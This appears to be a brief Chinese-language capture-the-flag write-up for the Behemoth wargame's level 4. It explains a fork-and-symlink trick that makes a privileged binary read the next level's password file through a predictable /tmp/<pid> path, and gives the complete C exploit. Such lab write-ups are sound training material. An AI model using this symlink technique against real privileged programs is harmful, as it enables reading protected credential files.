这道题的程序执行后,会几乎立刻(1秒)去读一个文件,文件名和程序的pid有关。当然可以创建一大堆链接,都指向密码文件,链接名是所有可能的pid,但这样太费事儿
我们用fork,父进程可以得到子进程的pid,由此创建链接文件;子进程先sleep一段时间,以确保父进程先创建链接,然后子进程exec目标程序即可。因为pid不会随exec变,所以这也就是目标程序的pid
c代码如下
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
int main(int argc, char *argv[]) {
pid_t pid;
pid = fork();
if(pid == -1) {
exit(1);
}
if(pid == 0) {
sleep(2);
char *argv[2] = {"/behemoth/behemoth4", NULL};
execv("/behemoth/behemoth4", argv);
}
else {
char link[32];
snprintf(link, sizeof link, "/tmp/%d", pid);
symlink("/etc/behemoth_pass/behemoth5", link);
int status;
wait(&status);
exit(0);
}
}